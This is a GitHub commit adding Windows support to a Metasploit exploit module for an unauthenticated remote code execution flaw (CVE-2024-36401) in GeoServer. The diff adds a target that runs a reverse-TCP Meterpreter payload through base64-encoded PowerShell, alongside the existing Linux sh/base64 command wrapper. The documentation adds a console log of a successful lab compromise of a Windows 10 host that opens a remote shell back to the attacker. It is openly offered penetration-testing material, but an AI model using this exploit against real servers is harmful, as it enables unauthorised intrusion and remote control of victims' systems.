Skip to content

Commit 5d210b5

Browse files
committed
added windows support
1 parent 4e76068 commit 5d210b5

File tree

2 files changed

+60
-6
lines changed

2 files changed

+60
-6
lines changed

documentation/modules/exploit/multi/http/geoserver_unauth_rce_cve_2024_36401.md

Lines changed: 36 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -26,7 +26,11 @@ The following GeoServer releases are tested:
2626
* geoserver 2.23.5 on x64 Ubuntu 22.04
2727
* geoserver 2.23.5 on Raspberry PI-4 ARM64 Kali Linux 2024.4
2828

29+
**Windows 10 installer installs with Jetty**
30+
* geoserver 2.25.0 on x64 Windows 10 (10.0 Build 19045)
31+
2932
## Installation steps to install the GeoServer web application
33+
* [Installation steps](https://docs.geoserver.org/latest/en/user/installation/win_installer.html) for Windows installer.
3034
* [Installation steps](https://docs.geoserver.org/latest/en/user/installation/linux.html) for platform-independent Linux binary.
3135
* [Installation steps](https://docs.geoserver.org/latest/en/user/installation/docker.html) for osgeo.org/geoserver docker images.
3236
* Use the docker-compose.yaml config file below to pull the vulhub geoserver docker images.
@@ -312,5 +316,37 @@ meterpreter > pwd
312316
/usr/share/geoserver
313317
meterpreter >
314318
```
319+
### GeoServer 2.25.0 on x64 Windows 10 (10.0 Build 19045)
320+
```
321+
msf6 exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > set rhosts 172.16.199.131
322+
rhosts => 172.16.199.131
323+
msf6 exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > set lhost 172.16.199.1
324+
lhost => 172.16.199.1
325+
msf6 exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > set target 2
326+
target => 2
327+
msf6 exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > set payload cmd/windows/http/x64/meterpreter/reverse_tcp
328+
payload => cmd/windows/http/x64/meterpreter/reverse_tcp
329+
msf6 exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > run
330+
331+
[*] Started reverse TCP handler on 172.16.199.1:4444
332+
[*] Running automatic check ("set AutoCheck false" to disable)
333+
[*] Trying to detect if target is running a vulnerable version of GeoServer.
334+
[+] The target is vulnerable. Version 2.25.0
335+
[*] Executing Windows Command for cmd/windows/http/x64/meterpreter/reverse_tcp
336+
[*] Sending stage (201798 bytes) to 172.16.199.131
337+
[*] Meterpreter session 2 opened (172.16.199.1:4444 -> 172.16.199.131:51235) at 2024-07-11 16:14:11 -0700
338+
339+
meterpreter > getuid
340+
Server username: DESKTOP-N3ORU31\msfuser
341+
meterpreter > sysinfo
342+
Computer : DESKTOP-N3ORU31
343+
OS : Windows 10 (10.0 Build 19045).
344+
Architecture : x64
345+
System Language : en_US
346+
Domain : WORKGROUP
347+
Logged On Users : 2
348+
Meterpreter : x64/windows
349+
meterpreter >
350+
```
315351
## Limitations
316352
No limitations.

modules/exploits/multi/http/geoserver_unauth_rce_cve_2024_36401.rb

Lines changed: 24 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -30,6 +30,7 @@ def initialize(info = {})
3030
'License' => MSF_LICENSE,
3131
'Author' => [
3232
'h00die-gr3y <h00die.gr3y[at]gmail.com>', # MSF module contributor
33+
'jheysel-r7', # MSF module Windows support
3334
'Steve Ikeoka' # Discovery
3435
],
3536
'References' => [
@@ -66,7 +67,18 @@ def initialize(info = {})
6667
'PAYLOAD' => 'linux/x64/meterpreter_reverse_tcp'
6768
}
6869
}
69-
]
70+
],
71+
[
72+
'Windows Command',
73+
{
74+
'Platform' => ['Windows'],
75+
'Arch' => ARCH_CMD,
76+
'Type' => :win_cmd,
77+
'DefaultOptions' => {
78+
'PAYLOAD' => 'cmd/windows/http/x64/meterpreter/reverse_tcp'
79+
}
80+
}
81+
],
7082
],
7183
'DefaultTarget' => 0,
7284
'DefaultOptions' => {
@@ -138,10 +150,16 @@ def create_payload(cmd)
138150
feature_type = get_valid_featuretype
139151
feature_type = 'sf:archsites' if feature_type.nil?
140152

141-
# create customised b64 encoded payload
142-
# 'Encoder' => 'cmd/base64' does not work in this particular use case
143-
cmd_b64 = Base64.strict_encode64(cmd)
144-
cmd = "sh -c echo${IFS}#{cmd_b64}|base64${IFS}-d|sh"
153+
case target['Type']
154+
when :unix_cmd || :linux_dropper
155+
# create customised b64 encoded payload
156+
# 'Encoder' => 'cmd/base64' does not work in this particular use case
157+
cmd_b64 = Base64.strict_encode64(cmd)
158+
cmd = "sh -c echo${IFS}#{cmd_b64}|base64${IFS}-d|sh"
159+
when :win_cmd
160+
enc_cmd = Base64.strict_encode64("cmd /C --% #{payload.encoded}".encode('UTF-16LE'))
161+
cmd = "powershell.exe -e #{enc_cmd}"
162+
end
145163

146164
return <<~EOS
147165
<wfs:GetPropertyValue service='WFS' version='2.0.0'
@@ -177,7 +195,7 @@ def exploit
177195
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
178196

179197
case target['Type']
180-
when :unix_cmd
198+
when :unix_cmd, :win_cmd
181199
execute_command(payload.encoded)
182200
when :linux_dropper
183201
# don't check the response here since the server won't respond

0 commit comments

Comments
 (0)